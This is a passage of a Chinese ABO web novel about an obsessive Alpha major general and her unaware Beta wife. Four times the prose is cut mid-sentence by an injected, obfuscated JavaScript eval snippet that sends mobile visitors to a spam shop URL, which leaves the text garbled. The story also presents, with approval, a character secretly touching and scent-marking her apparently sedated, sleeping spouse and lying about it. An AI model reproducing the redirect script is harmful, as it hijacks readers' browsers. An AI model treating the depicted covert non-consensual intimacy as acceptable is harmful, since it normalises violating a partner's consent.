裴烬野很轻地笑了下,眉间的落魄很轻易就被吹散,好像一只好哄的狗,情绪轻易被主人拉扯。 长腿曲折,膝盖压住地面,下半截身体都紧贴在床边,时刻挺直的脊背此刻都弯起。 就这样,裴烬野跪在祝敛青的床边,以一个极度虔诚的姿态,无声注视着她的妻子。 窗外的风不知何时吹起,帘子被迫晃动,带动月光一并忽明忽暗,橡木苔还在无声攀爬,深色的绿越来越浓,来不及细看,就被裴烬野随手盖住。 妻子睡觉总喜欢贪凉,从薄被探出一截小腿。 如果没有她,妻子该怎么办? 这个夏天那么热,妻子又这样畏暑,如果没有她,妻子就要生病了。 裴烬野皱着眉头,轻轻地叹气,真心实意地为此感到困扰。 她脆弱可怜的妻子。 连Alpha的信息素都闻不到,全然不知自己被多少脏东西惦记过,每次祝敛青从公司回家,她都要耐心地一点点驱除那些卑劣、恶心的Alpha信息素,再仔仔细细覆上自己的标记。 有时,裴烬野也会遗憾。 她的妻子如果不是Beta,而是一个是Omega的话,她就可以在妻子的颈后注入自己的信息素,进行深度标记。 她们将完全属于对方。 完完全全。 裴烬野磨了磨发痒的犬牙,只要稍稍想到那种情况,就忍不住后颈发烫,分泌出浓郁、凝成水滴的橡木苔汁液,将单薄衬衫浸透。 即便在此之前,她已打过两支军用抑制剂,足足在冷水泡了一个小时。 要知道,军用抑制剂的药效极其霸道,几乎是市面上常用抑制剂的十倍,普通Alpha只需一支就能渡过整个易感期,是前线不可断缺的战备资源。 而裴烬野在没结婚前,半个月易感期也只需十支,可自从结婚后,几乎每天一支,今天甚至用了两支。 再这样下去,即便她是少将级别,也会引起军备部的注意,除非她能提供合理理由,不然就得限制她的申请资格了。 但这些事,都不是此刻的裴烬野该考虑的。 微凉的指尖从眉间滑落,顺着高挺鼻梁往下,指腹压住薄唇,转瞬被温热吐息包裹。 赤色的眼眸暗了又暗,往日晦涩压抑的爱意,此刻几乎疯狂地溢出来,如蚕丝般将祝敛青裹成茧。 发痒的牙根难以抑制,贴身的衬衫完全湿透,勾出弯曲的节节往下的脊骨,窄腰间的腰窝极深,随着沉重呼吸发颤。 嫌这样的距离不够,膝盖在地上用力碾磨往前,骨头死死抵着床边的木板,硌出一条条红印。 裴烬野恨不得把这个床拆了,想让妻子在她怀中安睡,可却不得不克制地止住,仍由这一条界限存在,犹如她和她之前的关系。 不能吓到妻子。 这是写在名为妻子的备忘录里的第四条。 她承受不了妻子的反感与抵触,哪怕一点,她都觉得自己会死掉。 让妻子厌恶,她就会死掉。 裴烬野这样对自己说。 指腹轻轻摩擦过薄唇,浓睫微微发颤,却没有醒来。 裴烬野眼神痴迷,完全投入这场除了膝盖虔敬,其他都可以说的上亵渎的仪式里。 月光仍在,顺着时间变化,不断偏移,落在祝敛青颈间,也照亮了床头的柜子,上头只放了一个饮尽的玻璃杯,杯壁还有乳白的痕迹残留。 指尖往下落,跟随月光的足迹,来到颈间。 那锁骨处的痕迹变得浅淡,不似之前的樱红。 裴烬野眼眸眯了眯,露出一丝恼意。 无法标记的遗憾只能用其他东西代替,如果连这点东西都没有,怎么证明妻子是自己的? 那些该死的臭虫,总想觊觎她的Beta。 思绪落到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538045|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,裴烬野又忍不住想起那件旧衣。 暴躁的情绪从下午到现在,依旧没有缓解。 该死的、无能的寄生虫。 如果不是依靠着家族,那个人连妻子的面都见不到。 指尖无意识加重,加重颈间的印。 在祝敛青惊醒前,裴烬野迅速收手,脊背更弯,无比虔诚地吻在那颗小小的红痕上。 昨夜的妻子时刻紧绷着,明明说了晚安,却浅眠了一夜,叫裴烬野也不得不一动不动,生怕惊扰了对方。 想到昨夜的煎熬,裴烬野稍稍加重了力度。 恶劣的、总在考验她意志力的美味妻子。 舌尖舔舐而过,水光下的绯红越发鲜艳。 直到红痕开始扩散,裴烬野才意犹未尽地停下。 此刻挂在墙边的钟已转了一刻,跪在地面的膝盖早已红肿,裴烬野却不曾理会,固执地不肯挪动。 牙尖还在发痒,裴烬野咬了咬口腔内侧,警告自己不能乱来。 不能吓到妻子。 裴烬野再次提醒自己。 房间的味道更浓,木头被雨水泡烂,苔藓淹在水中,墙壁生出红鳞蕨,到处都是挥之不去的橡木苔味,穿过薄被,将祝敛青淹没。 此刻哪怕是低等级的Omega,能清晰嗅到满屋的橡木苔味。 可沉睡的祝敛青依旧无所察觉,陷入难缠的梦境中,不知何处涌出的藤蔓缠住四肢,不断将她往深渊里扯。 而现实里,裴烬野轻轻牵住她的手,偏头贴进她的掌心。 此刻没了面具,或深或浅的掌纹终于印在裴烬野脸颊,她呼吸更重,眼眸紧紧盯着祝敛青,像只始终吃不饱的野犬。 妻子…… 她的妻子…… 她忍不住紧紧贴着妻子的掌心,一遍又一遍地蹭。 这是她白日里就想做的事情,可在失去控制前,她选择了松开祝敛青的手,退后一步回到安全位置。 她讨厌面具,但妻子只能接受戴上面具的她。 裴烬野烦躁地再蹭,双唇在她指间摩擦、碾压,留下一个又一个不知餍足的吻。 她眼帘低垂,呼吸却更重,冷水浸泡过的躯体越来越滚烫,捂得祝敛青掌心水淋淋的,无意识地想要扯回。 裴烬野却扣紧,低头埋进她手中。 颈后的腺体早就失了控制,不断流出透明液体,未绑起的长发都被沾湿,一缕一缕地搭在那里,很是狼狈。 从指尖到指根,掌心的每一条纹路都沾染上裴烬野的味道,比其他地方浓郁几倍。 可以想象,明天时,祝敛青左手碰过的所有东西都会一并染上这个味道,像是一场大型的苔藓寄生游戏。 在只有裴烬野能看清的雨林中,处处都是橡木苔侵略的痕迹。 简直恶劣,但裴烬野很喜欢。 她忍不住再蹭了蹭妻子的手,一想到明天,就忍不住亢奋得发颤,眼底的沉迷更甚。 掌心越来越烫,就好像捏着一块烙铁。 祝敛青拧紧眉头,好不容易从藤蔓中挣脱,又掉入火炉,浓睫发颤,薄唇开合,几次挣扎,想要醒来…… 9. 第九章 祝敛青忽而睁开眼。 梦境如泡沫般瞬间消散,日光从未合拢的窗帘缝隙探入,她下意识抬手,搭在眉眼间,挡住刺眼的光。 几点了? 意识慢回笼,五感随之慢慢恢复。 祝敛青突然握了下手,很奇怪的黏腻感,就好像融化冰淇淋留在掌心的感觉。 浑噩的脑子无法分析,但祝敛青仍皱了下眉。 身上也有这种奇怪的感受。 虽然没有掌心黏腻,也没有汗水残留,甚至没有什么味道,但还是本能感到不适,就好像在雨里淋透了。 可昨夜没有下雨,她整夜都待在房间里,总不能是梦游吧? 祝敛青十分确定自己没有这个习惯。 烦躁情绪涌出,祝敛青放下遮挡的手,强迫自己在日光下睁眼。 灰青如翡石的眼眸越发剔透,不见初醒的困倦,而是复杂晦涩的情绪交织。 不知过了多久,这些情绪才随着祝敛青的闭眼而掩埋,再睁开,又只剩下平常的疏离冷淡。 她随手拿过旁边的通讯器,不过一早上,信息就堆积成山。 虽是假期,但仍有少许工作只能由她拍板决定。 祝敛青一一解决,再绕回最顶端,备注为母亲的人又发来不少消息。 随意点进去,划到顶端后又往下扫。 【如果这两天没什么事,和烬野去医院检查一下,越早备孕越好。】 【Beta怀孕本来就困难,有些人一两年都怀不上,别总想着拖延。】 还是那些话,不停围绕着孩子。 祝敛青拧着眉头,不断往下滑,又骤然止住。 【裴家前两天也和我提过,问你们打算什么时候要孩子。】 【裴家对你本来就有微词,要不是烬野态度坚决,她们绝不会同意你和她的婚事,她那么优秀的一个Alpha,你想办法得抓紧。】 垂落的眼睫微颤,久久停留在这,不知过了多久,祝敛青深吸一口气,将通讯器丢到一边。 掀开被子,径直走入浴室,须臾水声响起。 不多时,祝敛青下楼。 厨房里传来金属碰撞声,食物的香气随之散开,熟悉身影在厨房忙碌。 祝敛青有些不可思议,眨了眨眼才能敢确定那是裴烬野。 裴少将也会下厨? 脚步不由靠近,直到门外。 那人依旧不曾察觉,黑发低束,仅着一件宽松短袖、棉质运动裤,清晨日光被格窗分成四块,散落在她身上,叫她多了几分寻常的烟火味。 但祝敛青的视线却停留在她的脸上。 裴烬野戴了面具,下半张脸如之前一般遮住。 不知为何,昨日曾浮现出的异样,此刻又一次涌现,与清晨感受到的黏腻叠在一块。 祝敛青微微皱起眉,可下一秒,脑海中又骤然浮现酥痒触感,好像有人用指尖拂过她眉间。 杂乱的思绪无法压下,祝敛青用力揉了揉眉心,试图抹去那股不存在的感受。 直到此刻,裴烬野才好像后知后觉地发现祝敛青,转身就道:“早上好,祝女士。” 铁质面具遮挡薄唇,但弯起的眼眸和带着笑意的声音,还是让祝敛青感受到了对方的好心情。 发生什么喜事那么开心。 眉心习惯性想皱起,又很快就松开,祝敛青扶了扶眼镜,声音依旧地回应道:“早上好,裴少将。” 不等对方回应,她就继续道:“郑阿姨呢?” 祝敛青不喜人打扰,只雇了个不住家的保姆和郑阿姨,前者负责日常打扫,后者负责三餐。 “抱歉,我自作主张给她放了个假,”裴烬野露出一丝恰到好处的歉意,又道:“我想试一试的范围,可能还包括让你尝一尝我的手艺?” 这样好像确实可以让关系更近一点? 这个理由无可挑剔,甚至连试一试这个建议,都是自己主动提起,裴烬野积极配合而已,可祝敛青心里的违和感却不曾减缓。 许是今早醒来的异样感受太强烈,然后又一下子看见裴烬野? 看着日光下温和有礼的Alpha,祝敛青试图找一个合理理由,解释这一切。 她轻轻吸了口气,语气故作轻松道:“不用道歉,我只是有点诧异裴少将还会下厨。” 像她们这种家庭,除非兴趣使然,不然很少会有人做这种事。 喜欢甜食、会下厨的Alpha? 祝敛青感觉对裴烬野的认识又刷新了下,这就是S级Alpha的特殊之处吗? 她之前认识的Alpha都不屑于这些,更喜欢把军衔、功绩挂在嘴边,比如许峥。 裴烬野笑了下,温声为她解释:“是心理医生建议的,她希望我能发展一些可以转移注意力的爱好。” 这样吗? 祝敛青顿时恍然。 继而,又听到裴烬野开口:“我还烤了小熊饼干,可以搭配牛奶。” 又是牛奶。 祝敛青不经想起昨夜,裴烬野曾在睡前敲开她的房门,端来一杯热牛奶,还说祝敛青这几天都没有睡好,牛奶助眠,希望她能一夜好眠。 牛奶,一夜好眠? 祝敛青扶了扶眼镜,大抵是睡眠不足的缘故,太阳穴隐隐作痛。 明明眼前的一切都很正常,为了她提出的意见,裴烬野甚至在家就戴上面具,特地早起准备了早餐,无论从那个角度看,都比她更尽责用心。 但…… 祝敛青抿了抿唇,突然道:“谢谢你昨天晚上的牛奶,我昨天晚上睡得很好。” “那就好,”裴烬野笑意更浓,眼尾的细纹浮现,衷心道:“你这几天那么累,终于可以好好睡一觉了。” 毫无差错的答案,可祝敛青却不满意,又问:“你呢?” “我也睡得不错,主要是待在军营里待久了,已经形成固定的生物钟,一到点就睡不着了,”裴烬野面不改色地撒着谎。 灰青的眸将她所有的细微表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538046|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情尽收眼底,最后一丝情绪被压下。 祝敛青想,或许真的是她乱想了。 糟糕的事情全都堆积在睁眼的那一刻,连带着无辜的人也被牵连。 祝敛青轻轻叹了口气,语气稍缓:“辛苦了,我今天不想喝牛奶,但可以试一试你的小熊饼干。” “现在还在烤炉里,”裴烬野看了眼时间,又道:“还有两分钟,先吃个三明治垫一垫?” 祝敛青“嗯”了一声,便见裴烬野转身去端盘子。 长时间训练的Alpha,有着一副让人羡慕的好身材,肩宽腰窄,小臂在动作间微微鼓起,肌肉线条明晰,哪怕是最简单的短袖长裤,也在厨房里穿出T台味。 哪怕不是军官,单凭相貌和身材,也会成为Omega追逐的对象。 哦对,她甚至还没有许多Alpha的心高气傲,谁也看不起的恶习,并且还爱下厨。 祝敛青越想越觉得自己撞了大运,怎么会找到那么优质的合作伙伴。 思绪刚落到这里,母亲的话又一闪而过。 【裴家对你本来就有微词,要不是烬野态度坚决,她们绝不会同意你和她的婚事。】 祝敛青眼眸眯了眯,还未细想,裴烬野已端盘而来。 煎黄的吐司夹着滑蛋蟹柳,再加牛油果泥作为搭配,很不错的三明治,甚至没有放祝敛青一向不喜欢吃的生菜。 祝敛青眼帘低垂,掩去里头情绪,声音依旧地夸奖:“看起来很不错。” “你喜欢就好,”裴烬野笑得温和,又说:“给你磨杯咖啡?单吃会有些噎。” “不用,”祝敛青摇头拒绝:“一杯温水就可以。” 裴烬野自然答应,再转身时,烤箱已发出提示音。 祝敛青视线再次落到她的背影上,眼眸中多了一丝探寻。 她并不想怀疑她的合作伙伴,可太多巧合堆积,她不得不生出怀疑。 浓郁的黄油饼干香气淹没厨房,与清晨日光恰好相配,花瓶里插着刚送来的新鲜鸢尾花,晶莹水珠凝在花瓣间。 祝敛青咬开三明治的一角,面包的焦香与蟹柳滑蛋的细嫩在舌尖绽放。 真是一个糟糕的早晨。 祝敛青这样想。 衬衫的第一颗扣子不知何时解开,洗澡时就已发现,锁骨上的红印不但没有随时间消退,还越发艳红,如樱桃般镶在莹白肤色间,十分显眼,常规的遮盖都没了用,只能用衬衫挡住。 裴烬野终于端着盘走来,面具下的伪装被遮掩,仅剩的眉眼又露出祝敛青熟悉而陌生的肃冷。 盘落在桌面,发出轻微的一声。 “裴烬野,”祝敛青突然开口。 那人疑惑转头,向她看来。 祝敛青抬眼,漂亮的眼中眸光微漾,搅动里头的水光,若有若无地妩媚,连声音都柔和了几分,道:“我刚刚好像忘记了一件事。” “什么?” 祝敛青突然向她靠近,说:“好像忘记了早安吻。” 10. 第十章 妻子发现了。 在妻子试图靠近的那一瞬间,裴烬野就敏锐察觉到不对,她眼帘颤了下,很快就回归平静。 反倒是祝敛青突然止住。 此刻她们的距离极近,裴烬野站在桌边,保持着弯腰放盘的姿势,而坐在旁边的祝敛青靠近,鼻尖已碰到裴烬野的面具。 一前一后的呼吸交替落下,裴烬野清晰感受到妻子的节奏快了些。 她在紧张。 可爱的妻子。 借着面具遮挡,裴烬野唇边勾起弧度,转头却茫然,一副温和却诧异的模样,问:“还有这一步吗?” 她主动站直身子,拉远两人的距离,继而拧紧眉头,表情认真而困惑,就好像在思考什么重大研究。 祝敛青本就左右摇摆,这下更加动摇,只能故作镇定道:“很正常,许多新婚妻妻都会这样。” 她声音清冷,即便是在扯谎,也不会显得心虚。 可裴烬野却注意到她语速比平常快了些。 名为妻子的备忘录里又要多一条。 妻子撒谎时,喜欢看着我的眼睛,语速会更快。 她垂眼看着对方,好像在思考祝敛青话语的可信度,可实际上,她只是在看祝敛青。 祝敛青浑然不觉,还在仰头看着对方,随意盘在脑后的发丝微蓬,在清晨日光中,被映成浅金的一团,镜片下的眼眸越发澄澈透明,嘴角还残留着一点沙拉酱。 外头雷厉风行的冰山总裁,在裴烬野眼里,却是最可爱的、像仓鼠一样的妻子。 裴烬野眼眸一弯,肯定道:“好像确实是这样的。” 她露出歉意表情,说:“但好像太快了,现在就开始亲吻吗?” 她声音一顿,表情有些为难,道:“可以先这样吗?” 什么样? 祝敛青有些反应不过来,她只是想试探一下,可裴烬野却好像当真了,话一句接着一句,完全没有留给她插话的语调,自顾自就做了决定。 她刚想开口,却见裴烬野附身而来。 没有祝敛青之前的迅速,她甚至先将左手搭在桌面,脊背一点点弯下,缓慢靠近祝敛青,给足了祝敛青拒绝的时间,只要她抬手阻拦,或者往后躲,就可以避开。 可提出试一试的是她,说忘记早安吻的人是她,现在裴烬野说服了自己,她却要躲开? 祝敛青抿紧唇角,此刻进退两难,只能僵在远处。 裴烬野将这一切尽收眼底,面具下的笑意更浓。 最后的距离被缩短,裴烬野微微偏头,贴向妻子。 祝敛青明显僵住,脊背挺直,却仍一退不退,本能仰起的下颌,与脖颈连成一条绷紧的线,瞳孔微微放大,倒映着越来越近,最后将她笼罩的身影。 好凉。 这是祝敛青的第一感受,继而才后知后觉地反应过来裴烬野在做什么。 裴烬野偏头,用右脸贴在她的左脸,铁质的面具坚硬,即便是很轻微的一碰,也能感受到些许钝痛。 同时,裴烬野轻声开口:“先这样可以吗?” 声音无比接近耳朵,掀起一阵酥麻感受。 陌生的感觉让祝敛青无所适从,垂落的手无意识抓住椅子边缘,思绪被上下拉扯,彻底变得空白,不知如何回应。 糟糕的是,裴烬野见她不说话,又一次开口询问:“先用这样代替亲吻,好吗?” 酥麻一层一层叠加,偏偏铁质的面具还贴着皮肤,强迫她维持理智。 裴烬野微微抬脸,面具的边缘碰到镜架,被迫抬起一点,抓住椅子边缘的手更紧。 “可、可以,”祝敛青终于出声,语调急切。 裴烬野就“嗯”了一声,原本消退一点的酥麻又升起,祝敛青忍不住悄悄吸气,终于等到裴烬野起身,却不料刚刚离开一点,她又换了个方向,贴向右脸。 “早上好,祝敛青。” 学着她之前的话语,不再叫祝女士,而是连名带姓的称呼,虽然还是显得冷漠生疏,却比之前更进一点。 祝敛青突然觉得有点好笑,她到底在怀疑什么? 目前来看,裴烬野的一切靠近都是基于自己的引导,就连最简单的称呼,都是她先改变,裴烬野跟随,更别说其他。 反倒是自己,一步步将自己推到被动位置。 祝敛青深吸一口气,微微靠向裴烬野,脸颊与面具相贴,终于回应:“早上好,裴烬野。” 思绪杂乱,叫她无法注意到自己此刻的处境,裴烬野左手搭桌,右手搭在椅背,稍倾身的姿势,把祝敛青完全拢入怀中。 那些晨起沐浴洗去的气味,此刻又盖住沐浴露,一点点重新攀回原处。 裴烬野低垂着眼,视线落在衬衫领口,锁骨间的印记依旧,像颗红透的樱桃在等人采摘。 想到昨夜的滋味,裴烬野牙尖发痒,却只能咬住自己的嘴唇。 一起来就勾引人的妻子。 裴烬野眸光更沉,橡木苔的味道驱赶食物香气,再次席卷这片空间。 作为回应,裴烬野只“嗯”了一声,继而很快站直身子,温和的眼眸依旧,不曾瞧见半点涟漪。 祝敛青不知心里是什么滋味,只是偏过头逃开对方视线。 早知道就不试探了。 裴烬野一向是个事事认真,说什么都会认真考虑并履行的人。 她懊恼地扶了扶眼镜,将之前被面具顶歪的角度掰回,耳边发丝垂落一缕,随着晨风轻轻晃起。 裴烬野视线停留又很快移开,拿过旁边的东西递过去。 祝敛青下意识抬眼,便见裴烬野手中的纸。 这是…… “擦一擦,”裴烬野指了指自己唇角。 完全陷入思绪的祝敛青,这才意识到不对,慌乱接过,就道:“谢谢。” “没事,”裴烬野回答得随意,视线却不曾移开,看着纸巾碾过妻子的唇,眼底不由露出一丝遗憾。 真可惜,如果是妻子沉睡不醒的夜晚,她就可以替妻子舔舐干净了。 面具下的唇越发被咬紧,留下凹陷的牙印。 正对着祝敛青的椅子被拉开,裴烬野无声坐下。 祝敛青没有抬头,还沉浸在之前的失礼中,发丝半遮半掩下的耳朵微红。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538047|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>真可爱。 她的妻子。 裴烬野由衷地感慨,赤色的眸子里冰封着快要融化的痴迷与执着。 ——— 通讯器的声音响起,余非晚意料之内地收到了长官的消息。 上班真苦,到底什么时候退役。 她一边打开通讯器,一边准备迎接长官新一轮的刁难,但显然,她还是没准备好。 【副官,怎么才能让一个人完全属于自己。】 余非晚僵着脸,一字一句地回答:【长官,按照帝国法,囚禁、限制他人人身自由,属于非法囚禁罪,处八年以下有期徒刑、拘役、管制或剥夺政治权利。】 不等裴烬野回应,她又补充:【就算你是少将也不行,照样得关八年。】 通讯器沉默许久,正当余非晚以为裴烬野已经放弃这个想法时,消息又一次弹出。 【那怎么让妻子爱上我?】 都结婚了还不够爱吗? 余非晚扯了扯嘴角,实在不了解这些新婚妻妻到底怎么想的,她看的《霸道直A狠追清冷b》、《娇弱小b哪里逃》、《AB倾城之恋》也没有讲啊。 余非晚纠结了一下,非常慎重地回答:【对她好,在物质和精神上狠狠满足她。】 【千万不能囚禁。】 余非晚思前想后,又补了一句:【感情的事情强求不了,反正你们都结婚了,慢慢来,千万不要着急。】 她等了半天,却不见裴烬野回应,脑子里顿时冒出一个接一个的可怕猜测,心里顿时七上八下的。 长官应该不会做出那种事吧? 但也不好说啊,战场上,裴烬野可是以疯、不要命著称,不然怎么年纪轻轻爬到少将的? 作为裴烬野的副官,余非晚最懂裴烬野的行事有多极端。 她急忙发信息。 【长官?】 【要不我再找几本怎么增进感情的书?】 【感情的事情真急不来啊,我们要循序渐进,要尊重妻子的想法,千万千万千万不能乱来。】 回应她的,依旧是裴烬野的沉默。 余非晚越想越不安,突然站起来,捞起桌面一堆需要裴烬野处理、暂时搁置的文件,急匆匆往外走。 一个小时的车程愣是缩短到四十分钟,火急火燎的余非晚整理了一下衣服,立马敲响房门。 房门应声而开,余非晚都来不及打招呼就踏入其中,紧接着就被铺面而来的信息素淹没。 Alpha与Alpha信息素相斥,几乎是嗅到的瞬间,她就想跑,更别说那么高浓度的信息素,简直就像是进了裴烬野被窝。 不是前几天才申请了一批抑制剂吗? 她的长官怎么又又又又发/情了?! 等会,开门这个围着小熊围裙、端着果盘,还戴着过滤面具cos士兵的保姆,怎么有点像她那个要玩囚禁普雷的长官? 余非晚眨了眨眼,茫然地抬起手晃了晃,声音震惊又不可置信:“嗨?” “长官?” 站在门口的裴烬野沉着脸,赤色眼眸冰冷,只蹦出两个字:“干嘛?” 11. 第十一章 十分钟后。 余非晚钻进了、不,她被邀请进屋。 精心挑选的电影在播放,面前摆着水果盘和她长官烤的小熊饼干,周围窗帘都被拉上,在明亮午间隔出一个昏暗空间。 可以想象,这对新婚妻妻在久别重逢的假期里,将如何甜蜜地靠在一起,你喂我一块饼干,我喂你一颗樱桃,眼神对视之后就开始接吻,然后在电影的播放声中,抱成一团滚到地毯上,开始她们真正的蜜月。 如果没有她这个不速之客的话。 自觉多余的副官默默在沙发边缘缩成一团,极力减弱自己的存在感。 同时,心里再次后悔,自己为什么不肯信任自己的长官,觉得她会做出那种事? 余非晚深深闭上眼,恨不得现在就把脑袋塞进螳螂口器里。 但现在后悔已经没有用了,在她敲开门看见长官,并被长官妻子再三邀请进屋后,就彻底没有撤退的余地。 为了引以为戒,余非晚一下子睁开眼,掏出通讯器,迅速拍了张照片,直接丢进以黑翅鸢为名的团群里,补充:少将切的爱心果盘和自己烤的小熊饼干,好贴心,好羡慕嫂子啊~ 继而,迅速将通讯器一锁,丢到旁边,假装什么也没发生地抬起头,看向另一边的祝敛青。 几乎是瞬息,她脸上挤出谄媚的笑容,端着杯子,夹着声音道:“嫂嫂,你喝点水。” 回应她的,是裴烬野冷冷瞪过来的眼睛,还有祝敛青十分礼貌地回应:“谢谢,不用。” “那吃点水果?”余非晚立马要去端盘。 “暂时不用,”祝敛青摇头,又劝道:“你不必那么拘束,放轻松。” 余非晚听到了却不答,眼神瞥向她身后的裴烬野。 她的长官冷着个脸,眼眸中是面对虫族时凌厉杀气,叫余非晚不禁想到裴烬野徒手捏爆的铁皮甲虫,那玩意可是以坚硬著称,只用脑袋就可以撞翻一辆皮卡车。 余非晚咽了咽口水,下意识地往代表着安全的祝敛青方向挪动一点。 顿时,余非晚周围的温度直接掉了一个度,后背冒出冷汗。 刚刚挪过去的距离,瞬间又回到原位,甚至还多挪开了一点。 余非晚绷直着脊背,双手紧紧扣在膝盖上,感觉自己现在去参加军姿比赛,一定可以赢得第一。 她余光悄悄看向裴烬野,果不其然地收获了一个冷眼。 余非晚讪笑了声,心里默默腹诽,要不是你突然发疯,我也不会跑过来。 余非晚不说话后,客厅里的气氛更加凝滞。 昏暗的氛围无法让人放松,余非晚坐在最左边,紧贴着沙发扶手,另一边是裴烬野,祝敛青虽坐在中间,但离每个人都很远。 这就导致了一种非常诡异的感觉。 明明是最闲适舒服的空间,却坐了三个最陌生的人,尴尬得叫人无所适从。 其中最不爽的,莫过于余非晚眼里穿着小熊围裙、戴着面具cos士兵的裴少将。 小熊围裙是祝敛青买的,就在她们吃完早餐后,外卖员就敲响了房门。 原因是祝敛青觉得家里没有适合裴烬野的围裙,仅有的那一件是负责三餐的郑阿姨带来的,身高腿长的裴烬野完全挤不进去。 于是在两人吃着早餐,互相沉默的间隙,祝敛青默默下了单。 至于花色…… 相比于粉红小兔、可爱动物园、汪汪小狗,祝敛青纠结了一圈,还是选择了熊。 大抵是因为裴烬野烤了小熊饼干,又或许是在她的潜意识里,相比于小狗小兔这样弱小可爱的动物,裴烬野显然更强大,更具危险。 虽然裴烬野表现得足够无害温和。 但不管怎么说,收到围裙的裴烬野仍十分惊喜,暗戳戳将它归为妻子送她的第一件礼物。 并为了表达自己的喜欢,裴烬野当场系上,并戴着它,狠狠烤了三箱小熊饼干。 还在烤制途中,抽空给余非晚发了几条信息。 本来是想炫耀围裙,图片拍了十几张却没发出去,文字编辑又编辑,最后只变成一句。 【副官,怎么才能让一个人完全属于自己。】 她自认为已经憋得很好,非常隐蔽,奈何副官想太多,火急火燎冲上门,亲自看到了她身上的围裙,还破坏了她和妻子的美好下午。 至于美好下午出现的原因。 那是因为裴烬野烤了太多饼干。 祝敛青在吃完早晨后,便踏进书房,准备看书,享受自己难得的轻松假期。 却不料饼干的香气越来越浓,从门缝一点点涌入,最后将整个书房都填满。 纸页翻动间,不曾嗅到半点墨香,只有一片片黄油小饼干在跳舞。 祝敛青无可奈何,只能放下书,选择出门。 才站在厨房外,就看见她的新婚妻子戴着厚厚手套,取出一盘又一盘的饼干…… 甚至她还打算再烤。 帝国前线士兵的心理问题那么严重吗? 想到自己的妻子身份,祝敛青罕见地冒出一丝自责。 从假期的第一天开始,裴烬野就在尽心尽力替她周旋,甚至连这个假期都是为她申请的。 反倒是自己,什么也没做。 愧疚之下,祝敛青主动提出了一起看电影,试图帮裴烬野放松情绪,顺便还能解决一下这批小熊饼干。 裴烬野欣然同意,却不想多添几盘水果的功夫,她就看见了不请自来的副官,还是带了一堆工作的那种。 想到这里,裴烬野气压更低,狠狠咬碎了嘴里的小熊饼干。 惹得余非晚越发不敢说话,躲在沙发角落瑟瑟发抖。 对此,祝敛青并不觉得诧异,公司里的那些人与她相处也是这样,明明只多个上司的头衔,就好像变成妖魔鬼怪,光站在那儿,就让下属拘束胆怯。 沉默依旧,仍在播放的电影不知有没有人看,盘里的水果散去一半。 裴烬野垂眼窥见,默默起身,端盘回厨房,借着填果盘的时间,努力平复郁闷心情。 伪装仍在,她不能让祝敛青察觉她的糟糕情绪。 余非晚盯着她的背影消失在拐角,回头时又与祝敛青对视,顿时扯着嘴角,露出尴尬讪笑。 “嫂、嫂子,”她结结巴巴地喊。 祝敛青还在看电影,听到声音,本能偏头,声音稍缓地回应:“你好。” 余非晚小鸡啄米似的点头,生怕祝敛青看不见似的,还道:“嫂子,我叫余非晚,是裴少将的副官。” 这些之前都说过,祝敛青微微点头表示自己又一次听进去。 撞坏情侣好事的余非晚,尴尬得不行,只能没话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538048|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找话,嘿嘿两声就道:“饼干挺好吃的。” 祝敛青就回:“确实。” 余非晚:“哈哈,这电影不错。” 祝敛青:“X上评分8.6。” 余非晚:“这个水果好甜。” 祝敛青把盘子推到她面前,回:“不够冰箱里还有。” 余非晚望天望地,实在挤不出一句话。 倒也不是祝敛青冷漠,她本就话少,只因裴烬野有意无意的引导下,才叫她多说几句话。 而余非晚的没话找话实在难接,祝敛青已极大程度地表达了自己善意,换作其他下属与她胡言乱语,她早就转身离去。 眼见气氛又一次陷入沉默,余非晚实在没招,在心里默默狂喊长官。 对,长官。 她脑袋瓜子一转,又想起裴烬野在家带过滤面具的模样,顿时灵机一动,脱口而出道:“嫂嫂你要是担心长官乱咬,可以用止咬器,过滤面具太重了,一直戴着会很不舒服的。” 听到这话,祝敛青微微皱眉,疑惑转头看向对方。 